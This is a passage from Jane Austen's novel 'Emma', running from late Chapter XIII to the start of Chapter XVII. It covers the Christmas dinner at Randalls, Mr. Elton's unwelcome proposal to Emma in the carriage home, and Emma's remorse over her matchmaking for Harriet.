Christmas +every body invites their friends about them, and people think little +of even the worst weather. I was snowed up at a friend's house once +for a week. Nothing could be pleasanter. I went for only one night, +and could not get away till that very day se'nnight." + +Mr. John Knightley looked as if he did not comprehend the pleasure, +but said only, coolly, + +"I cannot wish to be snowed up a week at Randalls." + +At another time Emma might have been amused, but she was too +much astonished now at Mr. Elton's spirits for other feelings. +Harriet seemed quite forgotten in the expectation of a pleasant party. + +"We are sure of excellent fires," continued he, "and every thing +in the greatest comfort. Charming people, Mr. and Mrs. Weston;-- +Mrs. Weston indeed is much beyond praise, and he is exactly +what one values, so hospitable, and so fond of society;-- +it will be a small party, but where small parties are select, +they are perhaps the most agreeable of any. Mr. Weston's dining-room +does not accommodate more than ten comfortably; and for my part, +I would rather, under such circumstances, fall short by two than +exceed by two. I think you will agree with me, (turning with a soft +air to Emma,) I think I shall certainly have your approbation, +though Mr. Knightley perhaps, from being used to the large parties +of London, may not quite enter into our feelings." + +"I know nothing of the large parties of London, sir--I never dine +with any body." + +"Indeed! (in a tone of wonder and pity,) I had no idea that the +law had been so great a slavery. Well, sir, the time must come +when you will be paid for all this, when you will have little +labour and great enjoyment." + +"My first enjoyment," replied John Knightley, as they passed through +the sweep-gate, "will be to find myself safe at Hartfield again." + + + +CHAPTER XIV + + +Some change of countenance was necessary for each gentleman +as they walked into Mrs. Weston's drawing-room;--Mr. Elton must +compose his joyous looks, and Mr. John Knightley disperse his +ill-humour. Mr. Elton must smile less, and Mr. John Knightley more, +to fit them for the place.--Emma only might be as nature prompted, +and shew herself just as happy as she was. To her it was real +enjoyment to be with the Westons. Mr. Weston was a great favourite, +and there was not a creature in the world to whom she spoke with +such unreserve, as to his wife; not any one, to whom she related +with such conviction of being listened to and understood, of being +always interesting and always intelligible, the little affairs, +arrangements, perplexities, and pleasures of her father and herself. +She could tell nothing of Hartfield, in which Mrs. Weston had not +a lively concern; and half an hour's uninterrupted communication +of all those little matters on which the daily happiness of private +life depends, was one of the first gratifications of each. + +This was a pleasure which perhaps the whole day's visit might +not afford, which certainly did not belong to the present half-hour; +but the very sight of Mrs. Weston, her smile, her touch, her voice +was grateful to Emma, and she determined to think as little as +possible of Mr. Elton's oddities, or of any thing else unpleasant, +and enjoy all that was enjoyable to the utmost. + +The misfortune of Harriet's cold had been pretty well gone through +before her arrival. Mr. Woodhouse had been safely seated long +enough to give the history of it, besides all the history of his own +and Isabella's coming, and of Emma's being to follow, and had indeed +just got to the end of his satisfaction that James should come +and see his daughter, when the others appeared, and Mrs. Weston, +who had been almost wholly engrossed by her attentions to him, +was able to turn away and welcome her dear Emma. + +Emma's project of forgetting Mr. Elton for a while made her rather +sorry to find, when they had all taken their places, that he was +close to her. The difficulty was great of driving his strange +insensibility towards Harriet, from her mind, while he not only sat +at her elbow, but was continually obtruding his happy countenance +on her notice, and solicitously addressing her upon every occasion. +Instead of forgetting him, his behaviour was such that she could +not avoid the internal suggestion of "Can it really be as my brother +imagined? can it be possible for this man to be beginning to transfer +his affections from Harriet to me?--Absurd and insufferable!"-- +Yet he would be so anxious for her being perfectly warm, would be +so interested about her father, and so delighted with Mrs. Weston; +and at last would begin admiring her drawings with so much zeal +and so little knowledge as seemed terribly like a would-be lover, +and made it some effort with her to preserve her good manners. +For her own sake she could not be rude; and for Harriet's, in the hope +that all would yet turn out right, she was even positively civil; +but it was an effort; especially as something was going on amongst +the others, in the most overpowering period of Mr. Elton's nonsense, +which she particularly wished to listen to. She heard enough +to know that Mr. Weston was giving some information about his son; +she heard the words "my son," and "Frank," and "my son," +repeated several times over; and, from a few other half-syllables +very much suspected that he was announcing an early visit from +his son; but before she could quiet Mr. Elton, the subject was +so completely past that any reviving question from her would have +been awkward. + +Now, it so happened that in spite of Emma's resolution of never marrying, +there was something in the name, in the idea of Mr. Frank Churchill, +which always interested her. She had frequently thought--especially since +his father's marriage with Miss Taylor--that if she _were_ to marry, +he was the very person to suit her in age, character and condition. +He seemed by this connexion between the families, quite to belong to her. +She could not but suppose it to be a match that every body who knew +them must think of. That Mr. and Mrs. Weston did think of it, she was +very strongly persuaded; and though not meaning to be induced by him, +or by any body else, to give up a situation which she believed more +replete with good than any she could change it for, she had a great +curiosity to see him, a decided intention of finding him pleasant, +of being liked by him to a certain degree, and a sort of pleasure +in the idea of their being coupled in their friends' imaginations. + +With such sensations, Mr. Elton's civilities were dreadfully ill-timed; +but she had the comfort of appearing very polite, while feeling +very cross--and of thinking that the rest of the visit could not +possibly pass without bringing forward the same information again, +or the substance of it, from the open-hearted Mr. Weston.--So it proved;-- +for when happily released from Mr. Elton, and seated by Mr. Weston, +at dinner, he made use of the very first interval in the cares +of hospitality, the very first leisure from the saddle of mutton, +to say to her, + +"We want only two more to be just the right number. I should +like to see two more here,--your pretty little friend, Miss Smith, +and my son--and then I should say we were quite complete. +I believe you did not hear me telling the others in the drawing-room +that we are expecting Frank. I had a letter from him this morning, +and he will be with us within a fortnight." + +Emma spoke with a very proper degree of pleasure; and fully assented +to his proposition of Mr. Frank Churchill and Miss Smith making +their party quite complete. + +"He has been wanting to come to us," continued Mr. Weston, +"ever since September: every letter has been full of it; +but he cannot command his own time. He has those to please +who must be pleased, and who (between ourselves) are sometimes +to be pleased only by a good many sacrifices. But now +I have no doubt of seeing him here about the second week in January." + +"What a very great pleasure it will be to you! and Mrs. Weston +is so anxious to be acquainted with him, that she must be almost +as happy as yourself." + +"Yes, she would be, but that she thinks there will be another +put-off. She does not depend upon his coming so much as I do: +but she does not know the parties so well as I do. The case, +you see, is--(but this is quite between ourselves: I did not mention +a syllable of it in the other room. There are secrets in all families, +you know)--The case is, that a party of friends are invited to pay +a visit at Enscombe in January; and that Frank's coming depends upon +their being put off. If they are not put off, he cannot stir. +But I know they will, because it is a family that a certain lady, +of some consequence, at Enscombe, has a particular dislike to: +and though it is thought necessary to invite them once in two or +three years, they always are put off when it comes to the point. +I have not the smallest doubt of the issue. I am as confident +of seeing Frank here before the middle of January, as I am +of being here myself: but your good friend there (nodding +towards the upper end of the table) has so few vagaries herself, +and has been so little used to them at Hartfield, that she cannot +calculate on their effects, as I have been long in the practice +of doing." + +"I am sorry there should be any thing like doubt in the case," +replied Emma; "but am disposed to side with you, Mr. Weston. If you +think he will come, I shall think so too; for you know Enscombe." + +"Yes--I have some right to that knowledge; though I have never been +at the place in my life.--She is an odd woman!--But I never allow +myself to speak ill of her, on Frank's account; for I do believe +her to be very fond of him. I used to think she was not capable +of being fond of any body, except herself: but she has always been +kind to him (in her way--allowing for little whims and caprices, +and expecting every thing to be as she likes). And it is no small credit, +in my opinion, to him, that he should excite such an affection; +for, though I would not say it to any body else, she has no more +heart than a stone to people in general; and the devil of a temper." + +Emma liked the subject so well, that she began upon it, to Mrs. Weston, +very soon after their moving into the drawing-room: wishing her joy-- +yet observing, that she knew the first meeting must be rather alarming.-- +Mrs. Weston agreed to it; but added, that she should be very +glad to be secure of undergoing the anxiety of a first meeting +at the time talked of: "for I cannot depend upon his coming. +I cannot be so sanguine as Mr. Weston. I am very much afraid +that it will all end in nothing. Mr. Weston, I dare say, has been +telling you exactly how the matter stands?" + +"Yes--it seems to depend upon nothing but the ill-humour +of Mrs. Churchill, which I imagine to be the most certain +thing in the world." + +"My Emma!" replied Mrs. Weston, smiling, "what is the certainty +of caprice?" Then turning to Isabella, who had not been +attending before--"You must know, my dear Mrs. Knightley, +that we are by no means so sure of seeing Mr. Frank Churchill, +in my opinion, as his father thinks. It depends entirely upon +his aunt's spirits and pleasure; in short, upon her temper. +To you--to my two daughters--I may venture on the truth. +Mrs. Churchill rules at Enscombe, and is a very odd-tempered woman; +and his coming now, depends upon her being willing to spare him." + +"Oh, Mrs. Churchill; every body knows Mrs. Churchill," +replied Isabella: "and I am sure I never think of that poor young +man without the greatest compassion. To be constantly living +with an ill-tempered person, must be dreadful. It is what we +happily have never known any thing of; but it must be a life +of misery. What a blessing, that she never had any children! +Poor little creatures, how unhappy she would have made them!" + +Emma wished she had been alone with Mrs. Weston. She should then have +heard more: Mrs. Weston would speak to her, with a degree of unreserve +which she would not hazard with Isabella; and, she really believed, +would scarcely try to conceal any thing relative to the Churchills +from her, excepting those views on the young man, of which her own +imagination had already given her such instinctive knowledge. +But at present there was nothing more to be said. Mr. Woodhouse +very soon followed them into the drawing-room. To be sitting +long after dinner, was a confinement that he could not endure. +Neither wine nor conversation was any thing to him; and gladly did +he move to those with whom he was always comfortable. + +While he talked to Isabella, however, Emma found an opportunity +of saying, + +"And so you do not consider this visit from your son as by any +means certain. I am sorry for it. The introduction must be unpleasant, +whenever it takes place; and the sooner it could be over, the better." + +"Yes; and every delay makes one more apprehensive of other delays. +Even if this family, the Braithwaites, are put off, I am still +afraid that some excuse may be found for disappointing us. +I cannot bear to imagine any reluctance on his side; but I am sure +there is a great wish on the Churchills' to keep him to themselves. +There is jealousy. They are jealous even of his regard for his father. +In short, I can feel no dependence on his coming, and I wish Mr. Weston +were less sanguine." + +"He ought to come," said Emma. "If he could stay only a couple +of days, he ought to come; and one can hardly conceive a young man's +not having it in his power to do as much as that. A young _woman_, +if she fall into bad hands, may be teazed, and kept at a distance +from those she wants to be with; but one cannot comprehend a young +_man_'s being under such restraint, as not to be able to spend a week +with his father, if he likes it." + +"One ought to be at Enscombe, and know the ways of the family, +before one decides upon what he can do," replied Mrs. Weston. +"One ought to use the same caution, perhaps, in judging of the +conduct of any one individual of any one family; but Enscombe, +I believe, certainly must not be judged by general rules: +_she_ is so very unreasonable; and every thing gives way to her." + +"But she is so fond of the nephew: he is so very great a favourite. +Now, according to my idea of Mrs. Churchill, it would be most natural, +that while she makes no sacrifice for the comfort of the husband, +to whom she owes every thing, while she exercises incessant caprice +towards _him_, she should frequently be governed by the nephew, +to whom she owes nothing at all." + +"My dearest Emma, do not pretend, with your sweet temper, +to understand a bad one, or to lay down rules for it: you must +let it go its own way. I have no doubt of his having, at times, +considerable influence; but it may be perfectly impossible for him +to know beforehand _when_ it will be." + +Emma listened, and then coolly said, "I shall not be satisfied, +unless he comes." + +"He may have a great deal of influence on some points," +continued Mrs. Weston, "and on others, very little: and among those, +on which she is beyond his reach, it is but too likely, may be +this very circumstance of his coming away from them to visit us." + + + +CHAPTER XV + + +Mr. Woodhouse was soon ready for his tea; and when he had drank his +tea he was quite ready to go home; and it was as much as his three +companions could do, to entertain away his notice of the lateness +of the hour, before the other gentlemen appeared. Mr. Weston was +chatty and convivial, and no friend to early separations of any sort; +but at last the drawing-room party did receive an augmentation. +Mr. Elton, in very good spirits, was one of the first to walk in. +Mrs. Weston and Emma were sitting together on a sofa. He joined +them immediately, and, with scarcely an invitation, seated himself +between them. + +Emma, in good spirits too, from the amusement afforded her mind +by the expectation of Mr. Frank Churchill, was willing to forget +his late improprieties, and be as well satisfied with him as before, +and on his making Harriet his very first subject, was ready to listen +with most friendly smiles. + +He professed himself extremely anxious about her fair friend-- +her fair, lovely, amiable friend. "Did she know?--had she +heard any thing about her, since their being at Randalls?-- +he felt much anxiety--he must confess that the nature of her +complaint alarmed him considerably." And in this style he talked +on for some time very properly, not much attending to any answer, +but altogether sufficiently awake to the terror of a bad sore throat; +and Emma was quite in charity with him. + +But at last there seemed a perverse turn; it seemed all at once as if +he were more afraid of its being a bad sore throat on her account, +than on Harriet's--more anxious that she should escape the infection, +than that there should be no infection in the complaint. He began +with great earnestness to entreat her to refrain from visiting +the sick-chamber again, for the present--to entreat her to _promise_ +_him_ not to venture into such hazard till he had seen Mr. Perry +and learnt his opinion; and though she tried to laugh it off +and bring the subject back into its proper course, there was no +putting an end to his extreme solicitude about her. She was vexed. +It did appear--there was no concealing it--exactly like the pretence +of being in love with her, instead of Harriet; an inconstancy, +if real, the most contemptible and abominable! and she had difficulty +in behaving with temper. He turned to Mrs. Weston to implore +her assistance, "Would not she give him her support?--would not she +add her persuasions to his, to induce Miss Woodhouse not to go +to Mrs. Goddard's till it were certain that Miss Smith's disorder +had no infection? He could not be satisfied without a promise-- +would not she give him her influence in procuring it?" + +"So scrupulous for others," he continued, "and yet so careless +for herself! She wanted me to nurse my cold by staying at home to-day, +and yet will not promise to avoid the danger of catching an ulcerated +sore throat herself. Is this fair, Mrs. Weston?--Judge between us. +Have not I some right to complain? I am sure of your kind support +and aid." + +Emma saw Mrs. Weston's surprize, and felt that it must be great, +at an address which, in words and manner, was assuming to himself +the right of first interest in her; and as for herself, she was +too much provoked and offended to have the power of directly +saying any thing to the purpose. She could only give him a look; +but it was such a look as she thought must restore him to his senses, +and then left the sofa, removing to a seat by her sister, and giving +her all her attention. + +She had not time to know how Mr. Elton took the reproof, so rapidly +did another subject succeed; for Mr. John Knightley now came +into the room from examining the weather, and opened on them +all with the information of the ground being covered with snow, +and of its still snowing fast, with a strong drifting wind; +concluding with these words to Mr. Woodhouse: + +"This will prove a spirited beginning of your winter engagements, +sir. Something new for your coachman and horses to be making +their way through a storm of snow." + +Poor Mr. Woodhouse was silent from consternation; but every body else +had something to say; every body was either surprized or not surprized, +and had some question to ask, or some comfort to offer. Mrs. Weston +and Emma tried earnestly to cheer him and turn his attention +from his son-in-law, who was pursuing his triumph rather unfeelingly. + +"I admired your resolution very much, sir," said he, "in venturing +out in such weather, for of course you saw there would be snow +very soon. Every body must have seen the snow coming on. +I admired your spirit; and I dare say we shall get home very well. +Another hour or two's snow can hardly make the road impassable; +and we are two carriages; if one is blown over in the bleak part +of the common field there will be the other at hand. I dare say we +shall be all safe at Hartfield before midnight." + +Mr. Weston, with triumph of a different sort, was confessing that he +had known it to be snowing some time, but had not said a word, +lest it should make Mr. Woodhouse uncomfortable, and be an excuse +for his hurrying away. As to there being any quantity of snow fallen +or likely to fall to impede their return, that was a mere joke; +he was afraid they would find no difficulty. He wished the road might +be impassable, that he might be able to keep them all at Randalls; +and with the utmost good-will was sure that accommodation might +be found for every body, calling on his wife to agree with him, +that with a little contrivance, every body might be lodged, +which she hardly knew how to do, from the consciousness of there +being but two spare rooms in the house. + +"What is to be done, my dear Emma?--what is to be done?" +was Mr. Woodhouse's first exclamation, and all that he could say +for some time. To her he looked for comfort; and her assurances +of safety, her representation of the excellence of the horses, +and of James, and of their having so many friends about them, +revived him a little. + +His eldest daughter's alarm was equal to his own. The horror of +being blocked up at Randalls, while her children were at Hartfield, +was full in her imagination; and fancying the road to be now just +passable for adventurous people, but in a state that admitted no delay, +she was eager to have it settled, that her father and Emma should remain +at Randalls, while she and her husband set forward instantly through +all the possible accumulations of drifted snow that might impede them. + +"You had better order the carriage directly, my love," said she; +"I dare say we shall be able to get along, if we set off directly; +and if we do come to any thing very bad, I can get out and walk. +I am not at all afraid. I should not mind walking half the way. +I could change my shoes, you know, the moment I got home; and it is not +the sort of thing that gives me cold." + +"Indeed!" replied he. "Then, my dear Isabella, it is the most +extraordinary sort of thing in the world, for in general every +thing does give you cold. Walk home!--you are prettily shod +for walking home, I dare say. It will be bad enough for the horses." + +Isabella turned to Mrs. Weston for her approbation of the plan. +Mrs. Weston could only approve. Isabella then went to Emma; +but Emma could not so entirely give up the hope of their being +all able to get away; and they were still discussing the point, +when Mr. Knightley, who had left the room immediately after his +brother's first report of the snow, came back again, and told them +that he had been out of doors to examine, and could answer for there +not being the smallest difficulty in their getting home, whenever they +liked it, either now or an hour hence. He had gone beyond the sweep-- +some way along the Highbury road--the snow was nowhere above half +an inch deep--in many places hardly enough to whiten the ground; +a very few flakes were falling at present, but the clouds were parting, +and there was every appearance of its being soon over. He had seen +the coachmen, and they both agreed with him in there being nothing +to apprehend. + +To Isabella, the relief of such tidings was very great, and they +were scarcely less acceptable to Emma on her father's account, +who was immediately set as much at ease on the subject as his nervous +constitution allowed; but the alarm that had been raised could not +be appeased so as to admit of any comfort for him while he continued +at Randalls. He was satisfied of there being no present danger in +returning home, but no assurances could convince him that it was safe +to stay; and while the others were variously urging and recommending, +Mr. Knightley and Emma settled it in a few brief sentences: thus-- + +"Your father will not be easy; why do not you go?" + +"I am ready, if the others are." + +"Shall I ring the bell?" + +"Yes, do." + +And the bell was rung, and the carriages spoken for. A few +minutes more, and Emma hoped to see one troublesome companion +deposited in his own house, to get sober and cool, and the other +recover his temper and happiness when this visit of hardship were over. + +The carriage came: and Mr. Woodhouse, always the first object on +such occasions, was carefully attended to his own by Mr. Knightley +and Mr. Weston; but not all that either could say could prevent some +renewal of alarm at the sight of the snow which had actually fallen, +and the discovery of a much darker night than he had been prepared for. +"He was afraid they should have a very bad drive. He was afraid +poor Isabella would not like it. And there would be poor Emma +in the carriage behind. He did not know what they had best do. +They must keep as much together as they could;" and James was talked to, +and given a charge to go very slow and wait for the other carriage. + +Isabella stept in after her father; John Knightley, forgetting that he +did not belong to their party, stept in after his wife very naturally; +so that Emma found, on being escorted and followed into the second +carriage by Mr. Elton, that the door was to be lawfully shut on them, +and that they were to have a tete-a-tete drive. It would not have been +the awkwardness of a moment, it would have been rather a pleasure, +previous to the suspicions of this very day; she could have talked +to him of Harriet, and the three-quarters of a mile would have +seemed but one. But now, she would rather it had not happened. +She believed he had been drinking too much of Mr. Weston's good wine, +and felt sure that he would want to be talking nonsense. + +To restrain him as much as might be, by her own manners, she was +immediately preparing to speak with exquisite calmness and gravity +of the weather and the night; but scarcely had she begun, scarcely had +they passed the sweep-gate and joined the other carriage, than she +found her subject cut up--her hand seized--her attention demanded, +and Mr. Elton actually making violent love to her: availing himself +of the precious opportunity, declaring sentiments which must be already +well known, hoping--fearing--adoring--ready to die if she refused him; +but flattering himself that his ardent attachment and unequalled +love and unexampled passion could not fail of having some effect, +and in short, very much resolved on being seriously accepted as soon +as possible. It really was so. Without scruple--without apology-- +without much apparent diffidence, Mr. Elton, the lover of Harriet, +was professing himself _her_ lover. She tried to stop him; but vainly; +he would go on, and say it all. Angry as she was, the thought of +the moment made her resolve to restrain herself when she did speak. +She felt that half this folly must be drunkenness, and therefore +could hope that it might belong only to the passing hour. +Accordingly, with a mixture of the serious and the playful, which she +hoped would best suit his half and half state, she replied, + +"I am very much astonished, Mr. Elton. This to _me_! you forget yourself-- +you take me for my friend--any message to Miss Smith I shall +be happy to deliver; but no more of this to _me_, if you please." + +"Miss Smith!--message to Miss Smith!--What could she possibly mean!"-- +And he repeated her words with such assurance of accent, such boastful +pretence of amazement, that she could not help replying with quickness, + +"Mr. Elton, this is the most extraordinary conduct! and I can account +for it only in one way; you are not yourself, or you could not speak +either to me, or of Harriet, in such a manner. Command yourself +enough to say no more, and I will endeavour to forget it." + +But Mr. Elton had only drunk wine enough to elevate his spirits, +not at all to confuse his intellects. He perfectly knew his own meaning; +and having warmly protested against her suspicion as most injurious, +and slightly touched upon his respect for Miss Smith as her friend,-- +but acknowledging his wonder that Miss Smith should be mentioned +at all,--he resumed the subject of his own passion, and was very +urgent for a favourable answer. + +As she thought less of his inebriety, she thought more of his inconstancy +and presumption; and with fewer struggles for politeness, replied, + +"It is impossible for me to doubt any longer. You have made +yourself too clear. Mr. Elton, my astonishment is much beyond +any thing I can express. After such behaviour, as I have witnessed +during the last month, to Miss Smith--such attentions as I +have been in the daily habit of observing--to be addressing me +in this manner--this is an unsteadiness of character, indeed, +which I had not supposed possible! Believe me, sir, I am far, +very far, from gratified in being the object of such professions." + +"Good Heaven!" cried Mr. Elton, "what can be the meaning of this?-- +Miss Smith!--I never thought of Miss Smith in the whole course +of my existence--never paid her any attentions, but as your friend: +never cared whether she were dead or alive, but as your friend. +If she has fancied otherwise, her own wishes have misled her, +and I am very sorry--extremely sorry--But, Miss Smith, indeed!--Oh! +Miss Woodhouse! who can think of Miss Smith, when Miss Woodhouse +is near! No, upon my honour, there is no unsteadiness of character. +I have thought only of you. I protest against having paid the smallest +attention to any one else. Every thing that I have said or done, +for many weeks past, has been with the sole view of marking my +adoration of yourself. You cannot really, seriously, doubt it. +No!--(in an accent meant to be insinuating)--I am sure you have seen +and understood me." + +It would be impossible to say what Emma felt, on hearing this-- +which of all her unpleasant sensations was uppermost. She was +too completely overpowered to be immediately able to reply: +and two moments of silence being ample encouragement for Mr. Elton's +sanguine state of mind, he tried to take her hand again, as he +joyously exclaimed-- + +"Charming Miss Woodhouse! allow me to interpret this interesting silence. +It confesses that you have long understood me." + +"No, sir," cried Emma, "it confesses no such thing. So far from +having long understood you, I have been in a most complete error +with respect to your views, till this moment. As to myself, I am +very sorry that you should have been giving way to any feelings-- +Nothing could be farther from my wishes--your attachment to my +friend Harriet--your pursuit of her, (pursuit, it appeared,) gave me +great pleasure, and I have been very earnestly wishing you success: +but had I supposed that she were not your attraction to Hartfield, +I should certainly have thought you judged ill in making your visits +so frequent. Am I to believe that you have never sought to recommend +yourself particularly to Miss Smith?--that you have never thought +seriously of her?" + +"Never, madam," cried he, affronted in his turn: "never, I assure you. +_I_ think seriously of Miss Smith!--Miss Smith is a very good sort +of girl; and I should be happy to see her respectably settled. +I wish her extremely well: and, no doubt, there are men who might not +object to--Every body has their level: but as for myself, I am not, +I think, quite so much at a loss. I need not so totally despair +of an equal alliance, as to be addressing myself to Miss Smith!-- +No, madam, my visits to Hartfield have been for yourself only; +and the encouragement I received--" + +"Encouragement!--I give you encouragement!--Sir, you have been entirely +mistaken in supposing it. I have seen you only as the admirer +of my friend. In no other light could you have been more to me than +a common acquaintance. I am exceedingly sorry: but it is well that +the mistake ends where it does. Had the same behaviour continued, +Miss Smith might have been led into a misconception of your views; +not being aware, probably, any more than myself, of the very +great inequality which you are so sensible of. But, as it is, +the disappointment is single, and, I trust, will not be lasting. +I have no thoughts of matrimony at present." + +He was too angry to say another word; her manner too decided +to invite supplication; and in this state of swelling resentment, +and mutually deep mortification, they had to continue together a few +minutes longer, for the fears of Mr. Woodhouse had confined them +to a foot-pace. If there had not been so much anger, there would have +been desperate awkwardness; but their straightforward emotions left +no room for the little zigzags of embarrassment. Without knowing +when the carriage turned into Vicarage Lane, or when it stopped, +they found themselves, all at once, at the door of his house; +and he was out before another syllable passed.--Emma then felt it +indispensable to wish him a good night. The compliment was just returned, +coldly and proudly; and, under indescribable irritation of spirits, +she was then conveyed to Hartfield. + +There she was welcomed, with the utmost delight, by her father, +who had been trembling for the dangers of a solitary drive from +Vicarage Lane--turning a corner which he could never bear to think of-- +and in strange hands--a mere common coachman--no James; and there it +seemed as if her return only were wanted to make every thing go well: +for Mr. John Knightley, ashamed of his ill-humour, was now all +kindness and attention; and so particularly solicitous for the comfort +of her father, as to seem--if not quite ready to join him in a basin +of gruel--perfectly sensible of its being exceedingly wholesome; +and the day was concluding in peace and comfort to all their little party, +except herself.--But her mind had never been in such perturbation; +and it needed a very strong effort to appear attentive and cheerful till +the usual hour of separating allowed her the relief of quiet reflection. + + + +CHAPTER XVI + + +The hair was curled, and the maid sent away, and Emma sat down to think +and be miserable.--It was a wretched business indeed!--Such an overthrow +of every thing she had been wishing for!--Such a development of every +thing most unwelcome!--Such a blow for Harriet!--that was the worst +of all. Every part of it brought pain and humiliation, of some sort +or other; but, compared with the evil to Harriet, all was light; +and she would gladly have submitted to feel yet more mistaken-- +more in error--more disgraced by mis-judgment, than she actually was, +could the effects of her blunders have been confined to herself. + +"If I had not persuaded Harriet into liking the man, I could have +borne any thing. He might have doubled his presumption to me-- +but poor Harriet!" + +How she could have been so deceived!--He protested that he +had never thought seriously of Harriet--never! She looked back +as well as she could; but it was all confusion. She had taken +up the idea, she supposed, and made every thing bend to it. +His manners, however, must have been unmarked, wavering, dubious, +or she could not have been so misled. + +The picture!--How eager he had been about the picture!-- +and the charade!--and an hundred other circumstances;-- +how clearly they had seemed to point at Harriet. To be sure, +the charade, with its "ready wit"--but then the "soft eyes"-- +in fact it suited neither; it was a jumble without taste or truth. +Who could have seen through such thick-headed nonsense? + +Certainly she had often, especially of late, thought his manners +to herself unnecessarily gallant; but it had passed as his way, +as a mere error of judgment, of knowledge, of taste, as one proof +among others that he had not always lived in the best society, +that with all the gentleness of his address, true elegance +was sometimes wanting; but, till this very day, she had never, +for an instant, suspected it to mean any thing but grateful respect +to her as Harriet's friend. + +To Mr. John Knightley was she indebted for her first idea on +the subject, for the first start of its possibility. There was +no denying that those brothers had penetration. She remembered +what Mr. Knightley had once said to her about Mr. Elton, the caution +he had given, the conviction he had professed that Mr. Elton would +never marry indiscreetly; and blushed to think how much truer +a knowledge of his character had been there shewn than any she +had reached herself. It was dreadfully mortifying; but Mr. Elton +was proving himself, in many respects, the very reverse of what she +had meant and believed him; proud, assuming, conceited; very full +of his own claims, and little concerned about the feelings of others. + +Contrary to the usual course of things, Mr. Elton's wanting +to pay his addresses to her had sunk him in her opinion. +His professions and his proposals did him no service. She thought +nothing of his attachment, and was insulted by his hopes. +He wanted to marry well, and having the arrogance to raise his +eyes to her, pretended to be in love; but she was perfectly easy +as to his not suffering any disappointment that need be cared for. +There had been no real affection either in his language or manners. +Sighs and fine words had been given in abundance; but she could +hardly devise any set of expressions, or fancy any tone of voice, +less allied with real love. She need not trouble herself to pity him. +He only wanted to aggrandise and enrich himself; and if Miss Woodhouse +of Hartfield, the heiress of thirty thousand pounds, were not quite +so easily obtained as he had fancied, he would soon try for Miss +Somebody else with twenty, or with ten. + +But--that he should talk of encouragement, should consider her as +aware of his views, accepting his attentions, meaning (in short), +to marry him!--should suppose himself her equal in connexion +or mind!--look down upon her friend, so well understanding the +gradations of rank below him, and be so blind to what rose above, +as to fancy himself shewing no presumption in addressing her!-- +It was most provoking. + +Perhaps it was not fair to expect him to feel how very much he +was her inferior in talent, and all the elegancies of mind. +The very want of such equality might prevent his perception of it; +but he must know that in fortune and consequence she was greatly +his superior. He must know that the Woodhouses had been settled +for several generations at Hartfield, the younger branch +of a very ancient family--and that the Eltons were nobody. +The landed property of Hartfield certainly was inconsiderable, +being but a sort of notch in the Donwell Abbey estate, to which all +the rest of Highbury belonged; but their fortune, from other sources, +was such as to make them scarcely secondary to Donwell Abbey itself, +in every other kind of consequence; and the Woodhouses had long +held a high place in the consideration of the neighbourhood which +Mr. Elton had first entered not two years ago, to make his way +as he could, without any alliances but in trade, or any thing +to recommend him to notice but his situation and his civility.-- +But he had fancied her in love with him; that evidently must +have been his dependence; and after raving a little about the +seeming incongruity of gentle manners and a conceited head, +Emma was obliged in common honesty to stop and admit that her own +behaviour to him had been so complaisant and obliging, so full of +courtesy and attention, as (supposing her real motive unperceived) +might warrant a man of ordinary observation and delicacy, +like Mr. Elton, in fancying himself a very decided favourite. If _she_ +had so misinterpreted his feelings, she had little right to wonder +that _he_, with self-interest to blind him, should have mistaken hers. + +The first error and the worst lay at her door. It was foolish, +it was wrong, to take so active a part in bringing any two +people together. It was adventuring too far, assuming too much, +making light of what ought to be serious, a trick of what ought +to be simple. She was quite concerned and ashamed, and resolved +to do such things no more. + +"Here have I," said she, "actually talked poor Harriet into being +very much attached to this man. She might never have thought of him +but for me; and certainly never would have thought of him with hope, +if I had not assured her of his attachment, for she is as modest +and humble as I used to think him. Oh! that I had been satisfied with +persuading her not to accept young Martin. There I was quite right. +That was well done of me; but there I should have stopped, and left +the rest to time and chance. I was introducing her into good company, +and giving her the opportunity of pleasing some one worth having; +I ought not to have attempted more. But now, poor girl, her peace +is cut up for some time. I have been but half a friend to her; +and if she were _not_ to feel this disappointment so very much, I am +sure I have not an idea of any body else who would be at all desirable +for her;--William Coxe--Oh! no, I could not endure William Coxe-- +a pert young lawyer." + +She stopt to blush and laugh at her own relapse, and then resumed +a more serious, more dispiriting cogitation upon what had been, +and might be, and must be. The distressing explanation she had +to make to Harriet, and all that poor Harriet would be suffering, +with the awkwardness of future meetings, the difficulties of +continuing or discontinuing the acquaintance, of subduing feelings, +concealing resentment, and avoiding eclat, were enough to occupy +her in most unmirthful reflections some time longer, and she went +to bed at last with nothing settled but the conviction of her having +blundered most dreadfully. + +To youth and natural cheerfulness like Emma's, though under +temporary gloom at night, the return of day will hardly fail +to bring return of spirits. The youth and cheerfulness of morning +are in happy analogy, and of powerful operation; and if the +distress be not poignant enough to keep the eyes unclosed, they +will be sure to open to sensations of softened pain and brighter hope. + +Emma got up on the morrow more disposed for comfort than she had +gone to bed, more ready to see alleviations of the evil before her, +and to depend on getting tolerably out of it. + +It was a great consolation that Mr. Elton should not be really +in love with her, or so particularly amiable as to make it shocking +to disappoint him--that Harriet's nature should not be of that +superior sort in which the feelings are most acute and retentive-- +and that there could be no necessity for any body's knowing +what had passed except the three principals, and especially +for her father's being given a moment's uneasiness about it. + +These were very cheering thoughts; and the sight of a great deal +of snow on the ground did her further service, for any thing was +welcome that might justify their all three being quite asunder +at present. + +The weather was most favourable for her; though Christmas Day, +she could not go to church. Mr. Woodhouse would have been miserable +had his daughter attempted it, and she was therefore safe from +either exciting or receiving unpleasant and most unsuitable ideas. +The ground covered with snow, and the atmosphere in that unsettled +state between frost and thaw, which is of all others the most +unfriendly for exercise, every morning beginning in rain or snow, +and every evening setting in to freeze, she was for many days a most +honourable prisoner. No intercourse with Harriet possible but by note; +no church for her on Sunday any more than on Christmas Day; and no +need to find excuses for Mr. Elton's absenting himself. + +It was weather which might fairly confine every body at home; +and though she hoped and believed him to be really taking comfort +in some society or other, it was very pleasant to have her father +so well satisfied with his being all alone in his own house, +too wise to stir out; and to hear him say to Mr. Knightley, whom no +weather could keep entirely from them,-- + +"Ah! Mr. Knightley, why do not you stay at home like poor Mr. Elton?" + +These days of confinement would have been, but for her private +perplexities, remarkably comfortable, as such seclusion exactly +suited her brother, whose feelings must always be of great importance +to his companions; and he had, besides, so thoroughly cleared off +his ill-humour at Randalls, that his amiableness never failed him +during the rest of his stay at Hartfield. He was always agreeable +and obliging, and speaking pleasantly of every body. But with all +the hopes of cheerfulness, and all the present comfort of delay, +there was still such an evil hanging over her in the hour of explanation +with Harriet, as made it impossible for Emma to be ever perfectly at ease. + + + +CHAPTER XVII + + +Mr. and Mrs. John Knightley were not detained long at Hartfield. +The weather 